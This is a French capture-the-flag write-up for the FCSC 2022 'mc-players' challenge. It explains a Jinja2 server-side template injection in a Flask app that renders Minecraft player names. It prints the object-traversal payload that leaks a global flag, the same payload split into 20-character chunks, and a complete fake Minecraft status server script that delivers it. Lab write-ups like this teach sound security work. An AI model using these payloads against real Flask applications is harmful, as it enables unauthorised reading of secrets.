La découverte
On a un fichier docker-compose.yml
et une archive qui contient le code de deux images Docker. On peut lancer tout ça par la commande docker-compose up
et regarder ce que cela nous donne :
$ docker-compose up
Building with native build. Learn about native build in Compose here: https://docs.docker.com/go/compose-native-build/
Starting mc-players-flag ... done
Recreating mc-players-web ... done
Attaching to mc-players-flag, mc-players-web
mc-players-flag | 172.18.0.3 - - [09/May/2022 07:24:01] "GET / HTTP/1.1" 200 -
mc-players-web | * Serving Flask app 'app' (lazy loading)
mc-players-web | * Environment: production
mc-players-web | WARNING: This is a development server. Do not use it in a production deployment.
mc-players-web | Use a production WSGI server instead.
mc-players-web | * Debug mode: off
mc-players-web | * Running on all addresses (0.0.0.0)
mc-players-web | WARNING: This is a development server. Do not use it in a production deployment.
mc-players-web | * Running on http://127.0.0.1:2156(Press CTRL+C to quit)
mc-players-flag exited with code 0
On est donc invité à se connecter sur http://127.0.0.1:2156 :
Un œil rapide dans fcsc2022-mc-players/www/app.py
nous indique plusieurs points intéressants :
from mcstatus import JavaServer
Le module mcstatus propose l’interrogation d’un serveur Minecraft (Java Edition si l’on en croit l’import) et l’affichage de son statut. On peut le tester avec par exemple mc.hypixel.net
.
Ensuite, on voit également plusieurs mentions du flag :
FLAG = requests.get('http://mc-players-flag:1337/').text
[...]
@app.route('/flag', methods=['GET'])
def flag():
if request.remote_addr != '13.37.13.37':
return 'Unauthorized IP address: ' + request.remote_addr
return FLAG
On notera aussi que le conteneur Docker mc-players-flag
est uniquement exposé sur un réseau interne, il n’est pas accessible depuis l’extérieur.
À partir d’ici, on peut supposer qu’il y a une vulnérabilité dans le service web et que l’objectif va être de récupérer le flag.
La vuln
Il s’agit alors de lire et comprendre le code, qui est une implémentation Flask. Le code semble être assez classique, si ce n’est que l’on voit apparaître du HTML dans le code python. C’est en général assez révélateur d’un mauvais usage du framework, qui suit la philosophie logicielle classique de séparer la vue (HTML) de la logique (python):
html_player_list = f'''
<br>
<h3>{hostname} ({len(players)}/{status.players.max})</h3>
<ul>
'''
for player in players:
html_player_list += '<li>' + player + '</li>'
html_player_list += '</ul>'
Le code HTML est visiblement construit à partir des données que nous a retournées le serveur Minecraft interrogé. A minima, ça sent la XSS, mais peut-on avoir mieux ? Juste en dessous :
results = render_template_string(html_player_list)
return render_template('index.html', results=results)
Oui, car l’appel à render_template_string()
va lancer l’interprétation du template html_player_list
par le moteur Jinja2 qu’utilise Flask. Or, si l’on parvient à injecter des balises Jinja2 dans le template, on est en présence d’un Server Side Template Inclusion (SSTI).
Si on regarder les éléments qui sont injectés dans le template :
hostname
ne peut être utilisé : il est fourni par l’utilisateur, mais s’il n’est pas un nom d’hôte valide, la récupération de son statut Minecraft échouera.- Le champ
status.players.max
n’est pas non plus utilisable : il est casté dans un entier dans le modulemcstatus
. - Notre meilleur candidat semble être la liste des joueurs
players
.
Pour confirmer cela sans lancer d’usine à gaz, on peut simplement modifier le code source de l’image Docker, par exemple en ajoutant ce bout de code juste avant la boucle injectant les joueurs dans le template :
if request.args.get('p'):
players.append(request.args.get('p'))
On va aussi permettre l’interrogation en GET
et forcer le nom du serveur Minecraft pour simplifier les tests :
#if request.method != 'POST' or 'server' not in request.form.keys():
# return render_template('index.html')
#
#server = request.form['server'].split(':')
server = 'mc.hypixel.net'.split(':')
Attention, la modification nécessite de reconstruire les images Docker par docker-compose build
avant la relance. Une fois cela fait, si on passe le paramètre p={{6*7}}
dans notre interface :
C’est gagné, le paramètre que l’on a injecté a été interprété par Jinja2 !
À la recherche du flag
Faisons un petit point sur ce flag. Il semble y avoir plusieurs possibilités :
- la variable globale
FLAG
dans la GUI. - la route
/flag
, mais il faut arriver avec une adresse IP impossible à avoir pour attaquer le serveur du FCSC. - la deuxième image Docker, mais celle-ci s’arrête dès que quelqu’un est venu chercher le flag (en l’occurrence, la GUI au démarrage).
Il va donc falloir faire fuiter la variable globale. On peut commencer en essayant de voir manuellement ce qui est accessible depuis notre SSTI. En particulier, on apprend que les variables request
ou config
sont accessibles dans notre contexte :
{{request}} =>
<Request 'http://127.0.0.1:2156/?p=%7B%7Brequest%7D%7D' [GET]>
{{config}} =>
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>
On doit pouvoir remonter dans d’autres contextes, ou des builtins
, mais plutôt que chercher une aiguille dans une botte de foin, on va utiliser des outils existants. Par exemple, dans cette solution d’un vieux CTF, l’auteur propose un script python search.py
qui va chercher une valeur connue (ici, notre faux flag) dans le contexte. En ajoutant le fichier search.py
dans le répertoire et en l’appelant dans le code existant :
for path, obj in search(request, 10):
if str(obj) == FLAG:
players.append(path)
break
On relance l’appli et l’accès à la GUI nous donne :
obj.__class__._load_form_data.__globals__['json'].JSONEncoder.default.__globals__['current_app'].view_functions['index'].__globals__['FLAG']
. On confirme immédiatement en tentant l’injection via notre paramètre p
(attention, il faut changer la racine obj
par notre contexte request
):
http://127.0.0.1:2156/?p={{request.__class__._load_form_data.__globals__[%27json%27].JSONEncoder.default.__globals__[%27current_app%27].view_functions[%27index%27].__globals__[%27FLAG%27]}}
=> FCSC{TEST_FLAG}
Victoire ! Enfin, pas encore tout à fait…
Charcuterie
Un nouveau problème surgit : on ne va pas pouvoir passer cette expression telle qu’elle. Il faut la passer dans un nom de joueur, or :
for player in status.players.sample:
if re.match(r'\w*', player.name) and len(player.name) <= 20:
players.append(player.name)
L’expression rationnelle ne nous gênera pas, en revanche, un nom de joueur ne peut excéder 20 caractères. Heureusement, Jinja2 nous vient en aide : on peut, dans un template, définir des variables via le mot clef set
. Mais il va falloir ruser pour que chaque expression ne dépasse pas la limite, en coupant et re-concaténant des chaînes et en adaptant certains éléments. Au final, j’ai obtenu ceci :
players = [
'{%set r=request%}',
'{%set u="__"%}',
'{%set c="class"%}',
'{%set r=r[u+c+u]%}',
'{%set l="_load_"%}',
'{%set f="form_"%}',
'{%set d="data"%}',
'{%set r=r[l+f+d]%}',
'{%set g="globals"%}',
'{%set r=r[u+g+u]%}',
'{%set r=r["json"]%}',
'{%set j="JSONE"%}',
'{%set n="ncoder"%}',
'{%set r=r[j+n]%}',
'{%set r=r.default%}',
'{%set r=r[u+g+u]%}',
'{%set c="current"%}',
'{%set a="_app"%}',
'{%set r=r[c+a]%}',
'{%set v="view_f"%}',
'{%set s="unctions"%}',
'{%set r=r[v+s]%}',
'{%set r=r["index"]%}',
'{%set r=r[u+g+u]%}',
'{%set r=r["FLAG"]%}',
'{{r}}' ]
En ajoutant cette expression dans le code de l’application, entre le moment où il interroge le serveur et l’ajout des joueurs dans le résultat, on peut constater que l’on obtient bien le flag.
On va enfin pouvoir boucler tout ça en simulant un serveur qui fournit ces joueurs…
Le final
J’ai lu que des joueurs avaient trouvé des implémentations de ce service de statut. J’avoue n’avoir pas cherché, je pensais le protocole suffisamment simple pour être implémenté. Une erreur, ou plutôt un détail va me faire perdre pas mal de temps.
L’enchaînement des requêtes est le suivant:
sequenceDiagram
participant Challenge
participant FakeStatusServer
Challenge->>FakeStatusServer: handshake
Challenge->>FakeStatusServer: getstatus
FakeStatusServer-->>Challenge: status
Challenge->>FakeStatusServer: ping
FakeStatusServer-->>Challenge: pong
Et le traitement :
- le handshake n’attend pas de réponse (curieux, pour un handshake), on l’ignore donc.
- la demande de statut spécifie le serveur que l’on requête. La réponse contient un JSON de description du serveur, incluant les joueurs.
- le ping attend simplement une réponse identique à la requête.
Plus précisément, le paquet de réponse au statut est de cette forme :
Paquet |
---|
taille paquet |
id commande (0 pour status) |
taille payload |
payload JSON |
La subtilité qui m’a fait perdre pas mal de temps est le format des champs qui contiennent les tailles (paquet et payload). Il s’agit d’un encodage à taille variable : la taille est expédiée en little-endian par paquet de 7 bits, le 8ème bit, de poids fort, indiquant s’il faut attendre un paquet suivant ou non. Tant qu’on reste dans des petites tailles, c’est équivalent, mais comme la réponse au statut est un peu grande, il faut gérer cela (fonction pack_int()
dans mon code)
L’intégralité de mon exploit est ci-dessous. Lorsqu’on le lance est que l’on fait pointer le challenge dessus :
$ python3 fakeserver.py 192.168.1.6 1337
Listening...
Connection from: ('141.94.171.29', 33278)
< b'\x00/\x0f<REDACTED>\x059\x01'
=> Handshake ? We ignore it.
< b'\x00'
=> Asking for status
> b'\x96\n\x00\x93\n{"version": {"name": "Requires MC 1.8 / 1.18", "protocol": 47}, "players": {"max": 200000, "online": 47875, "sample": [{"name": "{%set r=request%}", "id": "0"}, {"name": "{%set u=\\"__\\"%}", "id": "1"}, {"name": "{%set c=\\"class\\"%}", "id": "2"}, {"name": "{%set r=r[u+c+u]%}", "id": "3"}, {"name": "{%set l=\\"_load_\\"%}", "id": "4"}, {"name": "{%set f=\\"form_\\"%}", "id": "5"}, {"name": "{%set d=\\"data\\"%}", "id": "6"}, {"name": "{%set r=r[l+f+d]%}", "id": "7"}, {"name": "{%set g=\\"globals\\"%}", "id": "8"}, {"name": "{%set r=r[u+g+u]%}", "id": "9"}, {"name": "{%set r=r[\\"json\\"]%}", "id": "10"}, {"name": "{%set j=\\"JSONE\\"%}", "id": "11"}, {"name": "{%set n=\\"ncoder\\"%}", "id": "12"}, {"name": "{%set r=r[j+n]%}", "id": "13"}, {"name": "{%set r=r.default%}", "id": "14"}, {"name": "{%set r=r[u+g+u]%}", "id": "15"}, {"name": "{%set c=\\"current\\"%}", "id": "16"}, {"name": "{%set a=\\"_app\\"%}", "id": "17"}, {"name": "{%set r=r[c+a]%}", "id": "18"}, {"name": "{%set v=\\"view_f\\"%}", "id": "19"}, {"name": "{%set s=\\"unctions\\"%}", "id": "20"}, {"name": "{%set r=r[v+s]%}", "id": "21"}, {"name": "{%set r=r[\\"index\\"]%}", "id": "22"}, {"name": "{%set r=r[u+g+u]%}", "id": "23"}, {"name": "{%set r=r[\\"FLAG\\"]%}", "id": "24"}, {"name": "{{r}}", "id": "25"}]}, "description": "YourWorstNightmare"}'
< b'\x01ppHY\xad\xac\xf4\x8b'
Asking for ping
> b'\t\x01ppHY\xad\xac\xf4\x8b'
Et côté serveur :
Le flag est donc FCSC{4141f870d98724a3c32b138888e72c5de4e3c793fe1410e1e269d551ae3b3b0f}
.
Script de résolution fakeserver.py
#!/usr/bin/env python3
import socket
import json
import sys
if len(sys.argv) != 3:
print('Syntax: {} <listen_ip> <listen_port>')
exit(-1)
host = sys.argv[1]
port = int(sys.argv[2])
exploit = [
'{%set r=request%}',
'{%set u="__"%}',
'{%set c="class"%}',
'{%set r=r[u+c+u]%}',
'{%set l="_load_"%}',
'{%set f="form_"%}',
'{%set d="data"%}',
'{%set r=r[l+f+d]%}',
'{%set g="globals"%}',
'{%set r=r[u+g+u]%}',
'{%set r=r["json"]%}',
'{%set j="JSONE"%}',
'{%set n="ncoder"%}',
'{%set r=r[j+n]%}',
'{%set r=r.default%}',
'{%set r=r[u+g+u]%}',
'{%set c="current"%}',
'{%set a="_app"%}',
'{%set r=r[c+a]%}',
'{%set v="view_f"%}',
'{%set s="unctions"%}',
'{%set r=r[v+s]%}',
'{%set r=r["index"]%}',
'{%set r=r[u+g+u]%}',
'{%set r=r["FLAG"]%}',
'{{r}}',
]
players = [ {'name': e, 'id': str(i)} for i, e in enumerate(exploit)]
def start_listening():
# Create the socket and start listening.
server_socket = socket.socket()
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((host, port))
server_socket.listen(1)
print('Listening...')
while True:
conn = None
try:
# Incoming connection
conn, address = server_socket.accept()
print("Connection from: " + str(address))
while True:
# The first byte is the length of the packet
# Fixme: it won't work if the packet length exceeds 255, but we don't care
# in our contexte. :)
data = conn.recv(1)
if not data:
break
l = int.from_bytes(data, "little")
# Now we read the payload send
data = conn.recv(l)
if not data:
break
print(f'< {data}')
# What kind of packet is it ?
cmd = data[0]
if cmd == 0:
if l == 1:
print('=> Asking for status')
handle_status(conn, data)
else:
print('=> Handshake ? We ignore it.')
continue
elif cmd == 1:
print('Asking for ping')
handle_ping(conn, data)
else:
print('Unknown commande {cmd}')
conn.close() # close the connection
except KeyboardInterrupt:
if conn:
conn.close()
break
print('Exit')
# Encoding of a length
def pack_int(x):
byte = bytearray()
while x > 0:
temp = x & 0b01111111
x = x >> 7
if x != 0:
temp |= 0b10000000
byte.append(temp)
return bytes(byte)
def handle_status(conn, input):
status = {
"version": {
"name":"Requires MC 1.8 / 1.18",
"protocol":47
},
"players":{
"max":200000,
"online":47875,
"sample": players,
},
"description": "YourWorstNightmare",
}
json_status = json.dumps(status).encode('utf-8')
# Packet size + 0x00 (status command) + Json size + json
data = b'\x00' + pack_int(len(json_status)) + json_status
data = pack_int(len(data)) + data
print(f'> {data}')
conn.send(data) # send data to the client
def handle_ping(conn, input):
data = input # pong
data = pack_int(len(data)) + data
print(f'> {data}')
conn.send(data) # send data to the client
if __name__ == '__main__':
start_listening()